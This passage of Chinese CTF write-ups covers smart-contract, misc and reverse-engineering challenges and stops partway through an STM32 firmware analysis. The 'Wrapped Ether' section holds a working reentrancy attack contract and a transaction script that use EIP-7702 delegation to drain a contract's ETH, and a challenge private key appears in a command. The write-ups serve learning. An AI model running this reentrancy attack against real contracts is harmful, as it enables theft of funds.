    function unknown(uint256 a, uint256 b, uint256 c) external {
        require(a * b == c, "wrong");
        solved[msg.sender] = true;
    }
}

注意:

  • solved(address) 的名字我们能精确确认
  • 第二个函数的“名字”确认不了,但“行为”已经完全确认

CTF 里更重要的是行为,不是函数名。


十五、这题为什么叫“抄作业”

题目名字其实挺有意思。

“抄作业”在这道题里的含义,我觉得至少有两层:

  1. 表层含义
    出题人不给源码,你就自己从字节码把答案“抄”回来。

  2. 更深一层的含义
    这题根本不需要复杂利用链,不需要重入,不需要 delegatecall,不需要花哨攻击。 你只要把合约要求的条件老老实实做对,相当于“照着标准答案写一遍”,就能通关。

这也是很多区块链 CTF 的共同特点:

  • 真漏洞题考的是攻击面
  • 这种轻逆向题考的是你是否熟悉 RPC、selector、ABI、交易签名这些基础设施

十六、这题真正考察的知识点

这题虽然简单,但非常适合教学,因为它把链上基础能力串起来了。

1. 页面不给源码,不等于没法做

只要给了:

  • 合约地址
  • RPC

你就总能拿到:

  • 运行时代码
  • 存储
  • 交易信息
  • 调用返回值

这已经足够做很多题了。

2. selector 是理解合约的第一入口

没有 ABI 时,不要先想着“完整反编译”。
先找:

  • 有几个 selector
  • 每个 selector 参数个数是多少
  • 每个 selector 是 view 还是 write

这往往就够解题了。

3. eth_call 是最安全的探路方式

你不确定条件时,用 eth_call

  • 便于试错
  • 不会污染状态
  • 能看到 revert 信息

这是链上题里最值钱的习惯之一。

4. eth_call 不会落状态

这题最适合拿来讲这个坑。

很多刚入门的人会误以为:

“我 eth_call 返回成功了,那应该已经 solved 了吧?”

不是。
eth_call 只是模拟执行,真正写链必须发交易。

5. 真正的链上题能力 = 读 + 试 + 发

这题把三个基本动作都覆盖了:

  1. eth_getCode 读代码
  2. eth_call 试逻辑
  3. eth_sendRawTransaction 发交易

这三板斧是区块链 CTF 非常重要的基础功。


十七、给完全没做过链上题的同学一个最短复现版

如果你已经理解上面的逻辑,只想最快复现,可以只记下面这几步。

1. 确认题面信息

  • RPC:http://nihaohaha123:12345/rpc
  • 合约:0x75537828f2ce51be7289709686A69CbFDbB714F1
  • 地址:0xa126e3073C1155168eF2b39E676E04d82Da42a95
  • 私钥:题面给出

2. 确认 solved(address) 初始为 false

调用 selector 0x5e36bdc6

3. 用 eth_call 试出 (2,3,6) 可以通过

调用 selector 0xaab2fcd2,传三个 uint256 参数。

4. 发真实交易

向目标合约发送:

0xaab2fcd2 + abi.encode(2,3,6)

5. 再检查 solved(address),应当变成 true

6. 请求 /api/solve

拿到 flag。


十八、如果你装了 Foundry,其实还能更快

如果环境里有 cast,这题会更舒服。

1. 直接 call getter

cast call 0x75537828f2ce51be7289709686A69CbFDbB714F1 \
  "solved(address)(bool)" \
  0xa126e3073C1155168eF2b39E676E04d82Da42a95 \
  --rpc-url http://nihaohaha123:12345/rpc

2. 直接发交易

因为第二个函数名未知,可以直接用 calldata:

cast send 0x75537828f2ce51be7289709686A69CbFDbB714F1 \
  --private-key 0xa06942b8cde32298973feed2e9e23de863c4a840de8a900262f22d4c2adb9b67 \
  --rpc-url http://nihaohaha123:12345/rpc \
  --data 0xaab2fcd2000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000006

这也是实战里很常见的一种写法:
函数名不知道没关系,只要 calldata 正确就能打。


十九、这题的难点到底在哪里

从纯利用角度讲,这题真的不难。

真正会卡人的地方主要有三个:

1. 被“没有源码”吓住

实际上给了 RPC,就已经给了非常多信息。

2. 不熟 selector / ABI 编码

如果你对函数 selector 和 32 字节参数编码不熟,就会不知道怎么构造 calldata。

3. 不熟真实交易发送流程

知道调用哪个函数还不够,你还得会:

  • 查 nonce
  • 查 gasPrice
  • 本地签名
  • 发 raw transaction

这题本质上是在补这一块基本功。


二十、总结

这道题是非常标准、非常适合入门的“链上无源码逆向题”。

一句话概括整个解法:

先从字节码里认出 solved(address) 和另一个三参数函数,再通过 eth_call 确认条件是 a * b == c,最后用题面给的私钥向合约发送 aab2fcd2(2,3,6) 的真实交易,把 solved[msg.sender] 写成 true,然后调用 /api/solve 拿 flag。

最终 flag:

xmctf{nihaohaha123}

二十一、附:本题最精简伪源码

pragma solidity ^0.8.20;

contract Challenge {
    mapping(address => bool) public solved;

    function unknown(uint256 a, uint256 b, uint256 c) external {
        require(a * b == c, "wrong");
        solved[msg.sender] = true;
    }
}

如果以后你再碰到类似题型,可以把这道题当成模板题来复习:

  • 给你 RPC
  • 给你目标合约
  • 不给源码
  • 让你自己把逻辑“抄”回来

这就是这题名字最贴切的地方。

【MISC】 秘密交易

1、基本情况 题目类型是 misc,题干只给了一个 Sepolia 地址: https://sepolia.etherscan.io/address/0x0a803A2cDC4BCef15fC131f2eD788eBA67aD69C9

这个地址本身只有少量入账,关键是内部转账来自一个合约: 0xabd89fed19087291380a64629569482681edb0c8

2、关键突破 顺着内部转账回溯该合约的历史 Payment 事件后,可以提取到两条核心消息: hex_enc:2d8d1617fcf9223f0dd274dd58cf7d0cc5504a8310bdc5dc2572251ed2d069c3 key:do_you_know_S_P_and_xor_????!!!!

同时在链上聊天式消息中给出算法参数线索: 1、S-level Technician No. 42 will serve you for 256 minutes 2、P-level Technician No. 16 will serve you for 32 minutes 3、How is it sold? 3 / least 3.5

结合线索可还原为一套字节级 S-P-X 结构,最终正确还原模型是: 1、S 盒由 seed=42 对 0~255 随机打乱生成 2、P 置换由 seed=16 对长度 32 的索引随机打乱生成 3、每轮为 X->S->P,共 4 轮 4、解密时按每轮逆过程执行:P^-1 -> S^-1 -> X

3、链上还原过程 1、用 eth_getLogs 按区块分片拉取该合约日志 2、筛选 Payment 事件 topic 3、按 ABI 规则解码 event data 中的 string message 4、抽取 hex_enc 和 key 5、按上面的逆轮函数解密 32 字节密文 6、得到明文 flag

4、复现步骤(最短) 在活动目录执行: python solve.py

5、完整可运行脚本

#!/usr/bin/env python3
import random
import requests

RPC_URL = "https://ethereum-sepolia-rpc.publicnode.com"
CONTRACT = "0xabd89fed19087291380a64629569482681edb0c8"
PAYMENT_TOPIC = "0xb1010776ed854d1e940d4ef133f9fa76da17f3a4080ee1f9e7d98f62b9516394"
START_BLOCK = 10418182
BLOCK_STEP = 50000


def rpc_call(session: requests.Session, method: str, params: list):
    payload = {"jsonrpc": "2.0", "id": 1, "method": method, "params": params}
    response = session.post(RPC_URL, json=payload, timeout=15)
    response.raise_for_status()
    data = response.json()
    if "error" in data:
        raise RuntimeError(data["error"])
    return data["result"]


def fetch_messages() -> list[str]:
    session = requests.Session()
    latest_block = int(rpc_call(session, "eth_blockNumber", []), 16)

    logs = []
    for start in range(START_BLOCK, latest_block + 1, BLOCK_STEP):
        end = min(start + BLOCK_STEP - 1, latest_block)
        chunk = rpc_call(
            session,
            "eth_getLogs",
            [{"fromBlock": hex(start), "toBlock": hex(end), "address": CONTRACT}],
        )
        logs.extend(chunk)

    messages = []
    for log in logs:
        if log["topics"][0].lower() != PAYMENT_TOPIC:
            continue

        data_hex = log["data"][2:]
        msg_offset = int(data_hex[64:128], 16) * 2
        msg_len = int(data_hex[msg_offset : msg_offset + 64], 16)
        msg_hex = data_hex[msg_offset + 64 : msg_offset + 64 + msg_len * 2]
        message = bytes.fromhex(msg_hex).decode("utf-8", errors="replace")
        messages.append(message)

    return messages


def build_inverse_sbox(seed: int = 42) -> list[int]:
    sbox = list(range(256))
    random.Random(seed).shuffle(sbox)
    inv = [0] * 256
    for idx, value in enumerate(sbox):
        inv[value] = idx
    return inv


def build_inverse_permutation(seed: int = 16, size: int = 32) -> list[int]:
    perm = list(range(size))
    random.Random(seed).shuffle(perm)
    inv = [0] * size
    for idx, value in enumerate(perm):
        inv[value] = idx
    return inv


def decrypt(ciphertext: bytes, key: str) -> bytes:
    state = bytearray(ciphertext)
    key_bytes = key.encode()
    inv_sbox = build_inverse_sbox(42)
    inv_perm = build_inverse_permutation(16, len(state))

    for _ in range(4):
        state = bytearray(state[inv_perm[i]] for i in range(len(state)))
        state = bytearray(inv_sbox[b] for b in state)
        for i in range(len(state)):
            state[i] ^= key_bytes[i % len(key_bytes)]

    return bytes(state)


def extract_key_and_cipher(messages: list[str]) -> tuple[str, str]:
    hex_enc = None
    key = None
    for message in messages:
        if message.startswith("hex_enc:"):
            hex_enc = message.split(":", 1)[1].strip()
        elif message.startswith("key:"):
            key = message.split(":", 1)[1].strip()

    if not hex_enc or not key:
        raise RuntimeError("Failed to extract hex_enc/key from logs")

    return hex_enc, key


def main():
    messages = fetch_messages()
    hex_enc, key = extract_key_and_cipher(messages)
    plaintext = decrypt(bytes.fromhex(hex_enc), key)
    print(plaintext.decode("utf-8"))


if __name__ == "__main__":
    main()

6、最终 flag xmctf{Bl0ckCha1n_Tr4ce_Cha1nR4y}

【MISC】 Wrapped Ether

题目信息

  • 题目名称:Wrapped Ether
  • 分类:Misc / Smart Contract
  • 难度:中等
  • 题目描述:“这题我见过,是重入!等下,这题我真的见过吗?“

1. 漏洞分析

1.1 源码审计

题目提供了三个合约文件:Setup.solWrappedEther.solIWrappedEther.sol

Setup.sol 的逻辑非常简单:

contract Setup {
    WrappedEther public weth;

    constructor(address _challenger) payable {
        weth = new WrappedEther(_challenger);
        weth.deposit{value: msg.value}(address(this));
    }

    function isSolved() external view returns (bool) {
        return address(weth).balance == 0;
    }
}

目标是清空 WrappedEther 合约的 ETH 余额(初始为 10 ETH)。

接下来查看 WrappedEther.sol 的核心逻辑:

function withdraw(uint256 amount) external checkChallenger {
    require(balanceOf[msg.sender] >= amount, "insufficient balance");
    balanceOf[msg.sender] -= amount;
    sendEth(payable(msg.sender), amount);
    emit Withdraw(msg.sender, amount);
}

function withdrawAll() external checkChallenger {
    sendEth(payable(msg.sender), balanceOf[msg.sender]);
    balanceOf[msg.sender] = 0;
    emit Withdraw(msg.sender, balanceOf[msg.sender]);
}

function sendEth(address payable to, uint256 amount) internal {
    (bool success, ) = to.call{value: amount}("");
    require(success, "ETH transfer failed");
}

1.2 核心漏洞:违反 CEI 原则

对比 withdrawwithdrawAll 两个函数,可以发现一个明显的区别:

  • withdraw 遵循了**检查-生效-交互(Checks-Effects-Interactions, CEI)**原则,先扣除余额,再发送 ETH。
  • withdrawAll 违反了 CEI 原则,它先调用 sendEth 发送 ETH,然后再将余额清零。

由于 sendEth 使用了底层的 call{value: amount}(""),它会将所有剩余的 gas 传递给接收方。如果接收方是一个智能合约,就会触发其 receive()fallback() 函数。在这些回调函数中,攻击者可以再次调用 withdrawAll(),此时由于 balanceOf[msg.sender] 尚未被清零,合约会再次发送 ETH,从而形成重入攻击(Reentrancy Attack)

1.3 题目的”陷阱”

正如题目描述所说:“这题我见过,是重入!等下,这题我真的见过吗?”

虽然 withdrawAll 存在经典的重入漏洞,但题目设置了一个巧妙的障碍:

modifier checkChallenger() {
    require(msg.sender == challenger, "only challenger");
    _;
}

只有 challenger 地址才能调用 withdrawAll。而题目分配给我们的 challenger 是一个外部拥有账户(EOA),即普通的钱包地址。

EOA 没有代码,也没有 receive() 函数,因此无法在接收 ETH 时触发回调,也就无法执行重入攻击!

如果我们用 challenger 的私钥部署一个攻击合约,该合约的地址将不同于 challenger 地址,因此无法通过 checkChallenger 的检查。

2. 破局点:EIP-7702

如何在 EOA 地址上执行智能合约代码?这在以前的以太坊版本中是不可能的。但随着 Pectra 升级,以太坊引入了 EIP-7702(Set Code for EOAs)

2.1 EIP-7702 简介

EIP-7702 引入了一种新的交易类型(Type 4),允许 EOA 在单笔交易执行期间,将其代码临时设置为某个智能合约的代码。

具体来说,Type 4 交易包含一个 authorizationList,其中包含由 EOA 签名的授权信息:

authorization = [chain_id, address, nonce, y_parity, r, s]

这里的 address 是一个指向已部署智能合约的指针。当 EOA 发送包含此授权的 Type 4 交易时,EVM 会将该 EOA 的代码临时设置为目标合约的代码。

这意味着,通过 EIP-7702,我们可以让 challenger 这个 EOA 地址临时拥有 receive() 函数,从而完成重入攻击!

3. 攻击方案设计

3.1 攻击合约编写

我们需要编写一个攻击合约,其代码将被委托给 challenger 地址执行。

注意一个关键的坑点:当 EIP-7702 委托代码执行时,代码是在 challenger 地址的上下文中运行的,使用的是 challenger 的存储(Storage)。如果我们在攻击合约中将 WETH 地址保存在状态变量中,当代码在 challenger 处执行时,该存储槽可能为空(0x0),导致调用失败。

为了避免存储布局问题,我们直接将 WETH 地址硬编码为常量:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.20;

interface IWrappedEther {
    function deposit(address to) external payable;
    function withdrawAll() external;
}

contract ReentrancyAttackV2 {
    // 硬编码 WETH 地址,避免 EIP-7702 委托时的 storage 问题
    address constant WETH = 0xCafac3dD18aC6c6e92c921884f9E4176737C052c;
    
    // 使用 challenger 的 storage slot 0 和 1
    uint256 public attackCount;
    uint256 public maxAttacks;
    
    function setMaxAttacks(uint256 _max) external {
        maxAttacks = _max;
    }
    
    receive() external payable {
        if (attackCount < maxAttacks && WETH.balance > 0) {
            attackCount++;
            IWrappedEther(WETH).withdrawAll();
        }
    }
}

3.2 攻击流程

完整的攻击流程如下:

  1. 部署攻击合约:将上述 ReentrancyAttackV2 部署到链上,获取其地址(假设为 AttackAddr)。
  2. 发送 EIP-7702 交易:构造一个 Type 4 交易,将 AttackAddr 的代码委托给 challenger 地址。
  3. 存入初始资金:调用 WETH.deposit(challenger),存入少量 ETH(例如 0.2 ETH),使得 balanceOf[challenger] > 0
  4. 设置重入次数:调用 challenger.setMaxAttacks(100),设置最大重入次数,防止 out-of-gas。
  5. 触发重入攻击:调用 WETH.withdrawAll()
    • WETH 发送 0.2 ETH 给 challenger
    • 触发 challengerreceive() 函数(因为 EIP-7702 赋予了它代码)。
    • receive() 中,再次调用 WETH.withdrawAll()
    • 由于 balanceOf[challenger] 尚未清零,WETH 再次发送 0.2 ETH。
    • 循环往复,直到 WETH 合约的 10 ETH 被完全抽干。

4. 攻击脚本实现

由于题目环境的 RPC 存在速率限制(每次请求后需等待约 40 秒),我们需要将所有交易预先签名,并在一个 Socket 连接窗口内批量发送。

以下是使用 web3.pyeth-account(需 v0.13.6+ 支持 EIP-7702)的核心 Python 脚本片段:

# 1. 部署攻击合约
deploy_tx = {
    "nonce": nonce,
    "gasPrice": gas_price,
    "gas": 500000,
    "to": None,
    "value": 0,
    "data": "0x" + BYTECODE,
    "chainId": chain_id,
}
# ... 签名并发送 ...

# 2. 构造 EIP-7702 授权并发送 Type 4 交易
auth = {
    "chainId": chain_id,
    "address": attack_v2_addr,
    "nonce": nonce + 1,  # 注意:授权的 nonce 是当前 nonce + 1
}
signed_auth = account.sign_authorization(auth)

tx_7702 = {
    "chainId": chain_id,
    "nonce": nonce,
    "gas": 300000,
    "maxFeePerGas": gas_price * 2,
    "maxPriorityFeePerGas": gas_price,
    "to": CHALLENGER_ADDR,  # 发送给自己
    "value": 0,
    "data": b"",
    "authorizationList": [signed_auth],
}
# ... 签名并发送 ...

# 3. 存入初始资金
dep_data = "0x" + keccak(b"deposit(address)")[:4].hex() + CHALLENGER_ADDR[2:].zfill(64)
# ... 构造交易并发送 ...

# 4. 设置重入次数
set_max_data = "0x" + keccak(b"setMaxAttacks(uint256)")[:4].hex() + (100).to_bytes(32, 'big').hex()
# ... 构造交易发送至 CHALLENGER_ADDR ...

# 5. 触发重入攻击
wa_data = "0x" + keccak(b"withdrawAll()")[:4].hex()
wa_tx = {
    "nonce": nonce,
    "gasPrice": gas_price,
    "gas": 8000000,  # 提供充足的 gas 用于重入
    "to": WETH_ADDR,
    "value": 0,
    "data": wa_data,
    "chainId": chain_id,
}
# ... 签名并发送 ...

5. 总结

这道题非常巧妙地结合了经典的重入漏洞和前沿的 EIP-7702 账户抽象特性。

传统的重入攻击需要攻击者是一个智能合约,而题目限制了调用者必须是指定的 EOA。通过 EIP-7702 的 SET_CODE 功能,我们成功地让 EOA 临时”变身”为智能合约,从而绕过了这一限制,完成了看似不可能的重入攻击。

Flag: xmctf{nihaohaha123}

=================== Reverse ===================

【Reverse】 Illusion

题目信息

  • 题目类型:RE
  • 文件:test.exe
  • 最终 flag:
xmctf{R3a1_w0rld_M47ters}

这题最容易掉进去的坑,是把程序里明面上的那一套 flag 校验当成最终答案。实际上那一层是故意做出来迷惑选手的“幻术”,真正的 flag 校验藏在 MessageBoxA 的 hook 里。

一、初步观察

先看字符串:

w3lc0me to the Re w0r1d.
P1z input your flag:
Illusion
nev_gona_give_up

还能看到两段中文字符串:

  • 沉浸在幻术之中吧!
  • 幻术的世界有什么不好!

从导入表可以看出这个程序会调用:

  • MessageBoxA
  • ReadConsoleW / WriteConsoleW

说明它既会走控制台输入输出,也会弹窗。

二、主逻辑:表面上的 flag 校验

主流程在 0x1400017c0 一带。

程序先输出提示:

w3lc0me to the Re w0r1d.
P1z input your flag:

然后读取输入,并做格式检查。

1. flag 外层格式检查

程序要求输入满足:

  • 前 6 个字节必须是 xmctf{
  • 最后 1 个字节必须是 }
  • 总长度必须是 25

所以中间内容长度必须是:

25 - 6 - 1 = 18

也就是程序真正拿去参与后续运算的,是花括号里的 18 字节。

2. RC4 校验

在格式检查通过后,程序会把输入的中间 18 字节拷到全局区域 0x140028b00,然后调用 0x140001440 做校验。

这个函数特征非常明显:

  • 先初始化 S[256]
  • 做 KSA
  • 再做 PRGA
  • 最后把结果和目标字节逐个比较

这是标准的 RC4 结构。

密钥来自栈上的字符串:

nev_gona_give_up

目标密文是程序直接写到栈上的 18 个字节:

d5 0a fb 84 0a 8f 2c e7 27 d9 56 3e f3 6c 29 ab 19 54

如果直接把它 RC4 解出来,会得到:

nev_gona_letydown\x07

很多人会在这里直接交:

xmctf{nev_gona_letydown\x07}

但这是错的。

三、为什么 RC4 解出来的“flag”是错的

关键在主流程最后的分支。

RC4 校验调用后,返回值会立刻决定走哪一条路:

  • 校验通过:打印 幻术的世界有什么不好!,直接结束
  • 校验失败:调用 MessageBoxA

更准确地说,RC4 那个函数在“比较失败”时返回 1,在“比较成功”时返回 0

所以主流程伪代码更接近:

mismatch = rc4_check(user_inner, "nev_gona_give_up", target18);
if (!mismatch) {
    puts("幻术的世界有什么不好!");
    exit(0);
} else {
    MessageBoxA(0, "沉浸在幻术之中吧!", "Illusion", 0);
    exit(0);
}

这意味着:

  • 如果你满足 RC4 校验,程序只会进入“幻术世界”的分支
  • 真正重要的分支,反而是 RC4 不通过时 触发的 MessageBoxA

题目名叫 Illusion,这里就是第一个“幻术”。

四、真正的关键:程序启动时 hook 了 MessageBoxA

程序在真正进入主逻辑之前,会先执行一段初始化代码,地址在 0x140001000 左右。

这段代码做了几件事:

  1. GetModuleHandleA("user32.dll")
  2. GetProcAddress(..., "MessageBoxA")
  3. 保存 MessageBoxA 原地址到全局变量
  4. 备份原函数前 14 个字节
  5. 把原函数开头改成一段跳板代码

跳板很典型:

48 b8 <hook_addr> ff e0

含义就是:

mov rax, hook_addr
jmp rax

也就是说,程序把 MessageBoxA 劫持到了自己的 hook 函数 0x1400010f0

这才是这题真正的核心。

五、hook 函数在做什么

1. 它取到的是什么输入

主流程在 RC4 失败后,会调用:

MessageBoxA(0, "沉浸在幻术之中吧!", "Illusion", 0);

由于 MessageBoxA 已经被 hook,实际会先进入 0x1400010f0

而 hook 函数并不是拿弹窗字符串做校验,它会从全局区 0x140028b00 再取一次用户输入的那 18 字节,也就是:

flag 花括号里的内容

2. 它先做 padding

hook 函数会把这 18 字节送到 0x140001690

这个函数的行为很明显是:

  • 申请新内存
  • 拷贝原始数据
  • 按 16 字节分组做补齐

18 字节补到 32 字节,需要补 14 个字节,因此 padding 为:

0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e

也就是典型的 PKCS#7 风格 padding。

3. 它生成 AES 轮密钥

之后 hook 会调用 0x140001d00,这个函数会生成 AES key schedule。

识别依据很明显:

  • 使用了 AES S-box
  • 用到了轮常量 01 02 04 08 10 20 40 80 1b 36
  • 扩展出后续轮密钥

初始 16 字节密钥不是 ASCII 字符串,而是下面这组原始字节:

12 34 12 34 12 34 12 34 12 34 12 34 41 45 53 21

如果写成 OpenSSL -K 需要的十六进制形式,就是:

12341234123412341234123441455321

4. 它对两组 16 字节数据做 AES 加密

随后 hook 调用 0x140001a00 两次,对 32 字节输入分两组做加密。

0x140001a00 里面有这些典型 AES 特征:

  • SubBytes
  • ShiftRows
  • MixColumns
  • AddRoundKey

其中查表使用的 256 字节常量就是 AES S-box:

63 7c 77 7b f2 6b 6f c5 ...

说明这一层就是标准 AES-128-ECB

六、真正的目标密文

hook 最后会把加密后的 32 字节和一个硬编码目标逐字节比较。

目标数据为:

f2 7b 7e 75 b4 5c 08 fa 19 3c 8a 4a 04 f8 1f 67
1b 05 9c e7 27 40 78 6d 28 f6 a8 b8 06 c6 c5 51

也就是:

f27b7e75b45c08fa193c8a4a04f81f671b059ce72740786d28f6a8b806c6c551

如果比较成功,hook 会把弹窗内容改成:

  • 文本:醒幻归真境
  • 标题:real world

这两个字符串其实已经在暗示你了:

  • Illusion 是假的
  • real world 才是真的

七、直接解 AES 得到真实中间串

因为我们已经知道:

  • 算法:AES-128-ECB
  • 密钥:12341234123412341234123441455321
  • 密文:f27b7e75...c551

所以直接解密即可。

OpenSSL 解法

python3 - <<'PY'
ct = bytes.fromhex(
    'f27b7e75b45c08fa193c8a4a04f81f67'
    '1b059ce72740786d28f6a8b806c6c551'
)
open('/tmp/ct.bin', 'wb').write(ct)
PY

openssl enc -aes-128-ecb -d -nopad \
  -K 12341234123412341234123441455321 \
  -in /tmp/ct.bin

解出来是:

R3a1_w0rld_M47ters\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e

去掉 padding 后,真实中间串就是:

R3a1_w0rld_M47ters

Python 解法

如果本地有 pycryptodome,也可以直接写:

from Crypto.Cipher import AES

key = bytes.fromhex("12341234123412341234123441455321")
ct = bytes.fromhex(
    "f27b7e75b45c08fa193c8a4a04f81f67"
    "1b059ce72740786d28f6a8b806c6c551"
)

pt = AES.new(key, AES.MODE_ECB).decrypt(ct)
print(pt)
print(pt[:-14].decode())

输出:

b'R3a1_w0rld_M47ters\\x0e\\x0e\\x0e\\x0e\\x0e\\x0e\\x0e\\x0e\\x0e\\x0e\\x0e\\x0e\\x0e\\x0e'
R3a1_w0rld_M47ters

八、最终 flag

外层格式固定是:

xmctf{...}

中间真实内容是:

R3a1_w0rld_M47ters

所以最终 flag 为:

xmctf{R3a1_w0rld_M47ters}

九、总结

这题设计得很巧,核心就是“双层校验 + 反逻辑”:

  1. 明面上先给你一个很像最终答案的 RC4 检查。
  2. 如果你真的把 RC4 那层做通了,程序反而只会把你带进“幻术世界”。
  3. 真正的 flag 校验藏在 MessageBoxA 的 hook 里。
  4. hook 再做一层 AES-128-ECB 检查,成功后才会进入 real world

一句话概括这题:

RC4 是障眼法,AES 才是真答案。

【Reverse】 ezFinger

题目信息

  • 题目名:ezFinger
  • 分值:204
  • 类型:Reverse
  • 已知条件:无动态环境
  • 题目要求:找出 sub_8003498sub_8000EC0 对应的函数名
  • flag 格式:xmctf{名称1_名称2}

最终答案:

xmctf{HAL_RCC_GetSysClockFreq_digitalWrite}

下面按“教学型”思路,从零开始完整走一遍。


一、先明确题目到底给了什么

附件里只有一个压缩包:

unzip -l Attachment.zip

可以看到里面只有一个文件:

STM32F429ZI.bin

这说明它不是常见的 Windows PE、Linux ELF,也不是 APK,而是一个裸固件镜像,而且文件名直接提示芯片型号是 STM32F429ZI

这一步很重要,因为后面所有分析思路都会围绕 STM32 固件展开。


二、为什么可以判断它是 STM32 裸机固件

1. 看文件开头

xxd 看前 16 个字节:

00000000: 00000320 3d0d0008 ...

按小端解释:

  • 0x20030000
  • 0x08000d3d

熟悉 Cortex-M 启动流程的话,一眼就能看出来:

  • 第一个字是初始栈顶指针 MSP
  • 第二个字是复位向量 Reset_Handler

这正是 ARM Cortex-M 启动向量表的典型布局。

其中:

  • 0x20030000 落在 SRAM 区间
  • 0x08000d3d 落在 STM32 Flash 区间

所以这个 bin 的装载基址自然就是:

0x08000000

这也是为什么题目里的函数名长成 sub_8003498 这种样子,本质上就是:

  • sub_8003498 -> 0x08003498
  • sub_8000EC0 -> 0x08000EC0

2. STM32F4 的寄存器特征也能验证

后面反汇编时我们还能看到很多经典外设地址,比如:

  • 0x40023800:RCC 基址
  • 0x40020000:GPIOA 基址
  • 0x40020800:GPIOB 基址
  • 0x40022800:GPIOK 基址

这些地址都和 STM32F429 的内存映射完全吻合。


三、这题的正确打开方式

因为题目明确说了“无动态环境”,所以核心思路就是:

  1. 把 bin 按 0x08000000 映射进反汇编器
  2. 直接跳到题目给的两个地址
  3. 结合上下文、常量、寄存器地址、调用关系判断函数身份
  4. 如果能对上官方库源码,就基本可以实锤

我这里用的是静态分析思路,哪怕没有 IDA/Ghidra,只靠 Thumb 反汇编也足够做出来。


四、先看 sub_8000EC0

1. 关键反汇编

0x08000EC0 附近代码如下:

08000ec0: push    {r3, r4, r5, lr}
08000ec2: cmp     r0, #0x5f
08000ec4: bhi     0x8000ee0
08000ec6: ldr     r3, [pc, #0x38]
08000ec8: ldrsh.w r4, [r3, r0, lsl #1]
08000ecc: cmp.w   r4, #0xffffffff
08000ed0: beq     0x8000ede
08000ed2: mov     r5, r1
08000ed4: ldr     r1, [pc, #0x2c]
08000ed6: mov     r0, r4
08000ed8: bl      0x8000f10
08000edc: cbnz    r0, 0x8000ee6
08000ede: pop     {r3, r4, r5, pc}
08000ee0: mov.w   r4, #0xffffffff
08000ee4: b       0x8000ecc
08000ee6: ubfx    r0, r4, #4, #4
08000eea: bl      0x8000f64
08000eee: and     r4, r4, #0xf
08000ef2: movs    r1, #1
08000ef4: lsls    r1, r4
08000ef6: mov     r2, r5
08000ef8: uxth    r1, r1
08000efa: bl      0x800128e
08000efe: b       0x8000ede

五、逐行理解 sub_8000EC0

1. 入口参数看起来像什么

这个函数只用到了两个参数:

  • r0
  • r1

很像:

func(pin, value);

尤其是第一个参数先和 0x5f 比较:

cmp r0, #0x5f

0x5f = 95,说明第一个参数很像一个数字编号,而不是寄存器指针。

这和 Arduino 世界里的:

digitalWrite(pin, val);

非常接近,因为 Arduino 常用“数字脚编号”。

2. 查表把“数字引脚”映射成底层 PinName

这两句很关键:

ldr     r3, [pc, #0x38]
ldrsh.w r4, [r3, r0, lsl #1]

而这个表地址就是:

0x08005d4c

这说明函数在做:

r4 = table[r0];

并且元素是 int16_t,因为用了 ldrsh

继续看表内容,会发现里面全是类似下面的数字:

105, 110, 95, 77, 94, 75, ...

还夹着 -1

这非常像 STM32 Arduino Core 里常见的:

digitalPin[] -> PinName

映射表:

  • 合法编号会映射成一个编码后的 PinName
  • 非法编号映射成 NC,常常就是 -1

因此这一段可以自然翻译成:

PinName p = digitalPinToPinName(pin);
if (p == NC) return;

3. 检查这个 pin 是否已经被配置过

接着看:

ldr     r1, [pc, #0x2c]
mov     r0, r4
bl      0x8000f10
cbnz    r0, 0x8000ee6

这里的字面量是:

0x200001b8

这是 SRAM 上的一块全局状态区。

再看 0x8000f10 的逻辑:

08000f10: ubfx    r3, r0, #4, #4
08000f14: ldr.w   r3, [r1, r3, lsl #2]
08000f18: and     r0, r0, #0xf
08000f1c: lsr.w   r0, r3, r0
08000f20: and     r0, r0, #1
08000f24: bx      lr

它做的事情就是:

  1. PinName 中拆出 port 编号
  2. 找到对应 port 的 bitmap
  3. 再从 PinName 中拆出 pin 编号
  4. 检查该位是否为 1

这正是:

is_pin_configured(p, g_digPinConfigured)

的标准形态。

如果未配置,就直接返回,不做写操作。

4. 通过 PinName 取 GPIO 端口基址

下面这句:

ubfx r0, r4, #4, #4
bl   0x8000f64

意思是从 PinName 里取出“端口号”,然后调用 0x8000f64

0x8000f64 后半段的数据表:

0x40020000
0x40020800
0x40020c00
0x40021000
0x40021400
0x40021800
0x40021c00
0x40022000
0x40022400
0x40022800

这正是:

  • GPIOA
  • GPIOB
  • GPIOC
  • GPIOD
  • GPIOE
  • GPIOF
  • GPIOG
  • GPIOH
  • GPIOI
  • GPIOK

所以 0x8000f64 的身份非常明确:

get_GPIO_Port(STM_PORT(p))

5. 从 PinName 里取 pin 编号,变成位掩码

后面这段:

and     r4, r4, #0xf
movs    r1, #1
lsls    r1, r4
uxth    r1, r1

完全就是:

pinMask = (uint16_t)(1 << STM_GPIO_PIN(p));

6. 最后调用底层 GPIO 写函数

最后:

mov     r2, r5
bl      0x800128e

调用前寄存器含义已经很清晰了:

  • r0 = GPIOx
  • r1 = pinMask
  • r2 = value

这就是典型的:

HAL_GPIO_WritePin(GPIOx, pinMask, value);

或者其上一层封装:

digital_io_write(GPIOx, pinMask, value);

0x800128e 的行为也确实是在把值规范成 0/1 后写入 GPIO。


六、为什么它不是别的 GPIO 函数,而就是 digitalWrite

到这里其实已经八九不离十了,但教学型 WP 最重要的是“实锤”,不是“感觉像”。

1. 前一个函数 sub_8000E14 正好像 pinMode

0x08000E140x08000EC0 紧挨着。

前一个函数的逻辑大意是:

  1. 先把数字 pin 编号映射成 PinName
  2. 检查这个 pin 是否已经被 DAC/PWM 占用
  3. 根据第二个参数分支:
    • INPUT
    • INPUT_PULLUP
    • INPUT_PULLDOWN
    • OUTPUT
  4. 最后把该 pin 标记进“已配置引脚 bitmap”

这和 Arduino STM32 Core 里的 pinMode() 逻辑高度一致。

如果前一个是 pinMode(),那么紧跟其后的这个“对一个数字 pin 写高低电平”的函数,自然就是最经典的:

digitalWrite()

2. 固件里直接出现了 Arduino STM32 Core 的源码路径

固件字符串里有下面这条路径:

/home/bo/iot/os/arduino/arduino-1.8.5/portable/packages/STM32/hardware/stm32/1.3.0/cores/arduino/HardwareSerial.cpp

这几乎是在明牌告诉你:

  • 这题是基于 STM32 Arduino Core 1.3.0 编出来的
